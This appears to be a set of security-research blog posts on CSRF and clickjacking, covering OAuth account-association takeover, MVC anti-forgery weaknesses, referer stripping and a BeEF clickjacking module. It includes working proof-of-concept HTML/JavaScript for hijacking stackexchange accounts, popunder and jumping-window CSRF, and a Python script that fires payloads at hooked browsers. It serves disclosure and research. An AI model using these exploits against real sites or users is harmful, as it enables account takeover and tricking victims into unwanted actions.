X-Frame-Options is becoming more and more common. With OAuth, protecting against UI redressing is even in the spec, so just creating a frame to do all your sneaky stuff won’t really work. With some of the OAuth attacks from the last few posts, the identity providers did all in fact enable x-frame-options.
How do we CSRF things that have X-Frame-Options enabled so we can’t use frames? We can always open a window, but a big popup isn’t really ideal. There are probably a lot of techniques here, but there are two options I explored, using a popunder, and just making the window jump around/hard to close.
The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. This is probably the last one (yeah, finally – I’m sick of talking about CSRF too) then I’ll hopefully post the whole talk finally :)
Hiding the CSRF with a popunder
In the OAuth examples I just popped up a window. It would be better if when we popped up the window, we hid it. Back in the day, you could just do something like this and it would hide the window.
However, it is still basically possible. Shady websites do this all the time, so you can just look at their code, or you can grab scripts from github https://gist.github.com/hpbuniat/1021924 :) Basically, the generic technique seems to be:
On a click event
On form submit
open window
the new window opens another window, then closes it
But with adding a popunder, well, it isn’t that exciting. But it’s relatively sneaky, and we’ve successfully CSRFed the page and taken over their soundcloud account. Below is a video of how the sneaky one looks.
In-your-face CSRF
Sometimes, like in the OAuth case, a CSRF takes a few seconds to complete. Sometimes even a minute or two. Techniques in the past focus mostly on hiding things, or “watching a video”. But there are a few interesting windows methods – moveTo(), moveBy(), resizeTo(), resizeBy() that, maybe in all practicality aren’t really better, but at least it’s funny.
It’s simple to create a script that CSRF’s the user, but jumps everywhere so it’s hard to close. Here it is in action:
Here’s the opener:
<html>
<head></head>
<body>
<title>In your Face</title>
<script>
function openwin() {
window.open("./randomwindow.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1");
}
</script>
<a href="#" onclick="openwin()">click here for stuff</a>
</body>
</html>
and randomwindow.html
<html>
<head></head>
<body>
<title>Google</title>
<script>
function ass() {
var x = Math.floor((Math.random() * screen.width)-(screen.width*.5));
var y = Math.floor((Math.random() * screen.height)-(screen.height*.5));
window.moveBy(x,y);
document.getElementById("updater").innerHTML += "."
}
setInterval("ass();", 200);
</script>
<div id="updater"></div>
</body>
</html>
TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.
The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)
OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.
Here’s an image from Facebook on how this flow can work
This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.
Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.
The First Attack I thought of
Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:
Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:
Toss the cookies into the victim stackoverflow account
The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
Associate the attacker’s account with the victim’s account and win!
This is kind of hard to test, since you have to map out all the cookies for each site.
Easier Attack
It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:
Create an attacker identity provider account (e.g. Facebook)
Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
Victim is logged in to accessing application.
A malicious site does the following:
Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
POSTs to the account association request
Attacker Logs out of other sessions
At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.
Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)
Stackexchange, woot.com, etc. Repro
There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.
Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.
Walking through the steps above with more stackexchange specific detail:
Create an attacker Facebook account
Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything
Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
<body>
<script type="text/javascript">
function fb_login() {
return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
}
function stackexchange_addlogin() {
document.getElementById("sForm").submit();
}
function pwn() {
win1 = fb_login();
setTimeout("stackexchange_addlogin()", 7000);
//win1.close()
}
</script>
<p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>
<p>To repro:</p>
<ul>
<li>login to stackexchange</li>
<li>click "pwn"</li>
<li>An attacker now owns your stackexchange account!</li>
</ul>
<!-- iframe necessary to get cookies if we haven't visited facebook
(needed to put a space modify to put on page)-->
< iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>
<form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
<input type="hidden" name="oauth_version" value="2.0" />
<input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
<input type="hidden" name="openid_identifier" value="" />
</form>
<a href="#" onclick="pwn()">pwn</a>
</body>
</html>
Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.
A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:
Then ValidateTokens contains the logic that prevents CSRF attacks
public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{
if (sessionToken == null)
{
throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
}
if (fieldToken == null)
{
throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
}
if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
{
throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
}
if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
{
throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
}
string b = string.Empty;
BinaryBlob objB = null;
if ((identity != null) && identity.IsAuthenticated)
{
objB = this._claimUidExtractor.ExtractClaimUid(identity);
if (objB == null)
{
b = identity.Name ?? string.Empty;
}
}
bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
{
throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
}
if (!object.Equals(fieldToken.ClaimUid, objB))
{
throw HttpAntiForgeryException.CreateClaimUidMismatchException();
}
if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
{
throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
}
}
To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.
Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.
One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.
Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.
Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.
Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.
There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.
I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :)
HTTPS -> HTTP (works if the target is HTTP not HTTPS)
So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.
But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it’s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn’t an option.
data: URIs (works in FF and Chrome)
Koto thought of this generic idea, and he uses the data: protocol in this excellent post. This works great, as long as you’re not attacking IE, which doesn’t seem to support the data: protocol.
referer source
If the anonymous flag is set, the URL “about:blank”, and the referrer source otherwise.
…
The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.
In FF this is called the MozAnon flag. Unfortunately, all the browsers I’ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal – the response (e.g. set cookies) would not be processed because the server wouldn’t send back the proper origin stuff. Additionally, if the anon flag works, the browser won’t send cookies either (this part of the anon flag does work).
about:blank (works in everything)
Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it’s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn’t have a domain per se, it doesn’t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)
Note you have to modify slightly because wordpress snipped out my iframe in tags.
I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.
A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.
Reliably Following the Mouse
One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.
The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.
The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.
Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.
Multiple Clicks and Events
It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.
When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.
function iframeClicked(){
clicked++;
var jsfunc = '';
jsfunc = clicks[clicked-1].js;
innerPos.top = clicks[clicked].posTop;
innerPos.left = clicks[clicked].posLeft;
eval(unescape(jsfunc));
setTimeout(function(){
updateIframePosition();
}, <%= @clickDelay %>);
setTimeout(function(){
var btnSelector = "#" + elems.btn;
var btnObj = $j(btnSelector);
$j(btnObj).focus();
//check if there are any more actions to perform
try {
if (isNaN(parseInt(clicks[clicked].posTop))) {
removeAll(elems);
throw "No more clicks.";
}
} catch(e) {
cjLog(e);
}
}, 200);
}
Using the BEEF REST API to Automatically Attack Victims when they Visit our Page
There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.
Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.
My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client
#!/usr/bin/python
import json
import urllib
import urllib2
import time
class beefClickjack:
def __init__(self, authkey, host):
self.authkey = authkey
self.host = host
#returns all online hooked browsers
#TODO exception handling
def getHookedBrowsers(self):
f = urllib2.urlopen(self.host + "/api/hooks?token=" + self.authkey)
data = json.loads(f.read())
hooked = data["hooked-browsers"]["online"]
return hooked
#returns most recent hooked browser
#there is a bit of a race condition, but in reality it shouldn't matter
def getLastHooked(self):
hooked = self.getHookedBrowsers()
max_hook = sorted(hooked)[-1]
print "============="
print hooked
print "============="
sessionid = hooked[max_hook]["session"]
return (sessionid, max_hook)
#send clickjacking payload to most recently hooked browser
#can get with /api/modules?token=....
def sendClickjack(self, data):
sessionId = self.getLastHooked()[0]
url = self.host + "api/modules/" + sessionId + "/22?token=" + self.authkey
print url
req = urllib2.Request(url, data)
req.add_header("Content-Type", "application/json; charset=UTF-8")
f = urllib2.urlopen(req)
print f.read()
#Below will need to be customized
if __name__ == "__main__":
time.sleep(1)
b = beefClickjack(
authkey="ec808711566a1e2b85bc6c692681c946d97f0ba2",
host="http://127.0.0.1:3000/"
)
data = {
"iFrameSrc" : "http://www.amazon.com/gp/aw/d/0312546343/",
"iFrameSecurityZone" : "off",
"iFrameSandbox" : "off",
"iFrameVisibility" : "on",
"clickDelay" : "300",
"iFrameWidth" :" 30",
"iFrameHeight" :"15",
"clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();",
"iFrameLeft_1" : "990",
"iFrameTop_1" : "180",
"iFrameLeft_2" : "-",
"iFrameTop_2" : "-"
}
b.sendClickjack(json.dumps(data))
Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.
Real World Usage/Examples
In September 2012 http://www.shodanhq.com/research/infodisc performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.
The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.
Amazon – Adding an Item to the Wishlist
One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:
One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.
WordPress
The goal of this “attack” is to get someone logged into wordpress.com to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.
Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.
Conclusions
I hope this is my last post about clickjacking ever. :)
RT @JohnLaTwC: The number of 'please' and 'sorry' in this malicous bash script make it one of the most self-conscious malware files I've se… 3 years ago